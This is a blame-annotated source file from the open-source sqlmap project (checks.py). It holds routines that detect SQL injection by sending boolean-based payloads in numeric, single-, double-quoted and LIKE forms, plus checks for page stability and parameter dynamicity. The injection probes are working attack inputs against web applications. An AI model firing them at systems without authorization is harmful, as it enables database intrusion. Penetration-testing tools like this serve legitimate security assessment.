sqlmap/lib/controller/checks.py

438 lines
16 KiB
Python
Raw Normal View History

2008-10-15 19:38:22 +04:00
#!/usr/bin/env python
"""
2008-10-15 19:56:32 +04:00
$Id$
2008-10-15 19:38:22 +04:00
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
2010-03-03 18:26:27 +03:00
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
2008-10-15 19:38:22 +04:00
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
2010-05-21 17:36:49 +04:00
import socket
2008-10-15 19:38:22 +04:00
import time
from lib.core.agent import agent
2010-06-02 16:45:40 +04:00
from lib.core.common import getUnicode
2010-09-13 17:31:01 +04:00
from lib.core.common import preparePageForLineComparison
2008-10-15 19:38:22 +04:00
from lib.core.common import randomInt
from lib.core.common import randomStr
2010-09-13 17:31:01 +04:00
from lib.core.common import DynamicContentItem
from lib.core.convert import md5hash
2008-10-15 19:38:22 +04:00
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
2010-02-10 12:39:36 +03:00
from lib.core.exception import sqlmapNoneDataException
2008-10-15 19:38:22 +04:00
from lib.core.session import setString
from lib.core.session import setRegexp
2008-10-15 19:38:22 +04:00
from lib.request.connect import Connect as Request
def checkSqlInjection(place, parameter, value, parenthesis):
"""
This function checks if the GET, POST, Cookie, User-Agent
parameters are affected by a SQL injection vulnerability and
identifies the type of SQL injection:
* Unescaped numeric injection
* Single quoted string injection
* Double quoted string injection
"""
randInt = randomInt()
randStr = randomStr()
if conf.prefix or conf.postfix:
prefix = ""
postfix = ""
if conf.prefix:
prefix = conf.prefix
if conf.postfix:
postfix = conf.postfix
infoMsg = "testing custom injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
trueResult = Request.queryPage(payload, place)
if trueResult:
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
falseResult = Request.queryPage(payload, place)
if not falseResult:
infoMsg = "confirming custom injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
falseResult = Request.queryPage(payload, place)
if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "custom injectable "
logger.info(infoMsg)
return "custom"
infoMsg = "testing unescaped numeric injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
trueResult = Request.queryPage(payload, place)
if trueResult:
2008-10-15 19:38:22 +04:00
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
falseResult = Request.queryPage(payload, place)
if not falseResult:
infoMsg = "confirming unescaped numeric injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "unescaped numeric injectable "
infoMsg += "with %d parenthesis" % parenthesis
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
return "numeric"
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "unescaped numeric injectable"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
infoMsg = "testing single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
2008-10-15 19:38:22 +04:00
falseResult = Request.queryPage(payload, place)
if not falseResult:
infoMsg = "confirming single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "single quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
return "stringsingle"
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "single quoted string injectable"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
infoMsg = "testing LIKE single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
2008-10-15 19:38:22 +04:00
falseResult = Request.queryPage(payload, place)
if not falseResult:
infoMsg = "confirming LIKE single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "LIKE single quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
return "likesingle"
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "LIKE single quoted string injectable"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
infoMsg = "testing double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
2008-10-15 19:38:22 +04:00
falseResult = Request.queryPage(payload, place)
if not falseResult:
infoMsg = "confirming double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "double quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
return "stringdouble"
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "double quoted string injectable"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
infoMsg = "testing LIKE double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
2008-10-15 19:38:22 +04:00
falseResult = Request.queryPage(payload, place)
if not falseResult:
infoMsg = "confirming LIKE double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "LIKE double quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
return "likedouble"
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "LIKE double quoted string injectable"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
return None
def checkDynParam(place, parameter, value):
"""
This function checks if the url parameter is dynamic. If it is
dynamic, the content of the page differs, otherwise the
dynamicity might depend on another parameter.
"""
infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
randInt = randomInt()
2010-06-02 16:45:40 +04:00
payload = agent.payload(place, parameter, value, getUnicode(randInt))
2008-10-15 19:38:22 +04:00
dynResult1 = Request.queryPage(payload, place)
if True == dynResult1:
2008-10-15 19:38:22 +04:00
return False
infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
payload = agent.payload(place, parameter, value, "'%s" % randomStr())
dynResult2 = Request.queryPage(payload, place)
payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
dynResult3 = Request.queryPage(payload, place)
condition = True != dynResult2
condition |= True != dynResult3
2008-10-15 19:38:22 +04:00
return condition
2010-09-13 19:24:56 +04:00
def checkDynamicContent(firstPage, secondPage):
2010-09-13 19:19:47 +04:00
infoMsg = "searching for dynamic content"
2010-09-13 17:31:01 +04:00
logger.info(infoMsg)
linesFirst = preparePageForLineComparison(firstPage)
linesSecond = preparePageForLineComparison(secondPage)
if len(linesFirst) == len(linesSecond):
lastLineNumber = None
pageLinesNumber = len(linesFirst)
for i in range(0, pageLinesNumber):
if (linesFirst[i] != linesSecond[i]):
if lastLineNumber == i - 1:
item = kb.dynamicContent[-1]
if isinstance(item.lineNumber, int):
item.lineNumber = [item.lineNumber]
item.lineNumber.append(i)
else:
kb.dynamicContent.append(DynamicContentItem(i, pageLinesNumber, linesFirst[i-1] if i > 0 else None, linesFirst[i+1] if i < pageLinesNumber - 1 else None))
lastLineNumber = i
2010-09-13 19:19:47 +04:00
randInt = getUnicode(randomInt(1))
payload = agent.fullPayload(" AND %s=%s" % (randInt, randInt))
result = Request.queryPage(payload)
if result:
2010-09-13 19:20:13 +04:00
pass #TODO: the same as above
2010-09-13 19:19:47 +04:00
2010-09-13 17:31:01 +04:00
if kb.dynamicContent:
infoMsg = "found probably removable dynamic lines"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
def checkStability():
"""
This function checks if the URL content is stable requesting the
2010-09-13 19:19:47 +04:00
same page two times with a small delay within each request to
2008-10-15 19:38:22 +04:00
assume that it is stable.
In case the content of the page differs when requesting
the same page, the dynamicity might depend on other parameters,
like for instance string matching (--string).
"""
infoMsg = "testing if the url is stable, wait a few seconds"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
firstPage, _ = Request.queryPage(content=True)
time.sleep(1)
secondPage, _ = Request.queryPage(content=True)
2008-10-15 19:38:22 +04:00
condition = (firstPage == secondPage)
if condition:
if firstPage:
conf.md5hash = md5hash(firstPage)
logMsg = "url is stable"
logger.info(logMsg)
else:
errMsg = "there was an error checking the stability of page "
errMsg += "because of lack of content. please check the "
errMsg += "page request results (and probable errors) by "
errMsg += "using higher verbosity levels"
raise sqlmapNoneDataException, errMsg
elif not condition:
warnMsg = "url is not stable, sqlmap will base the page "
warnMsg += "comparison on a sequence matcher, if no dynamic nor "
warnMsg += "injectable parameters are detected, refer to user's "
warnMsg += "manual paragraph 'Page comparison' and provide a "
warnMsg += "string or regular expression to match on"
logger.warn(warnMsg)
2008-10-15 19:38:22 +04:00
2010-09-13 17:31:01 +04:00
checkDynamicContent(firstPage, secondPage)
2008-10-15 19:38:22 +04:00
return condition
2010-03-12 15:23:05 +03:00
2008-10-15 19:38:22 +04:00
def checkString():
if not conf.string:
return True
condition = (
kb.resumedQueries.has_key(conf.url) and
kb.resumedQueries[conf.url].has_key("String") and
kb.resumedQueries[conf.url]["String"][:-1] == conf.string
)
if condition:
return True
infoMsg = "testing if the provided string is within the "
infoMsg += "target URL page content"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
page, _ = Request.queryPage(content=True)
2008-10-15 19:38:22 +04:00
if conf.string in page:
setString()
return True
else:
errMsg = "you provided '%s' as the string to " % conf.string
errMsg += "match, but such a string is not within the target "
errMsg += "URL page content, please provide another string."
logger.error(errMsg)
return False
def checkRegexp():
if not conf.regexp:
return True
condition = (
kb.resumedQueries.has_key(conf.url) and
kb.resumedQueries[conf.url].has_key("Regular expression") and
kb.resumedQueries[conf.url]["Regular expression"][:-1] == conf.regexp
)
if condition:
return True
infoMsg = "testing if the provided regular expression matches within "
infoMsg += "the target URL page content"
logger.info(infoMsg)
page, _ = Request.queryPage(content=True)
if re.search(conf.regexp, page, re.I | re.M):
setRegexp()
return True
else:
errMsg = "you provided '%s' as the regular expression to " % conf.regexp
errMsg += "match, but such a regular expression does not have any "
errMsg += "match within the target URL page content, please provide "
errMsg += "another regular expression."
logger.error(errMsg)
return False
2008-10-15 19:38:22 +04:00
def checkConnection():
2010-05-21 17:36:49 +04:00
try:
socket.gethostbyname(conf.hostname)
except socket.gaierror:
2010-05-21 18:25:38 +04:00
errMsg = "host '%s' does not exist" % conf.hostname
2010-05-21 17:36:49 +04:00
raise sqlmapConnectionException, errMsg
infoMsg = "testing connection to the target url"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
try:
page, _ = Request.getPage()
conf.seqMatcher.set_seq1(page)
2008-12-20 16:21:47 +03:00
except sqlmapConnectionException, errMsg:
2010-06-02 16:45:40 +04:00
errMsg = getUnicode(errMsg)
raise sqlmapConnectionException, errMsg
2008-10-15 19:38:22 +04:00
return True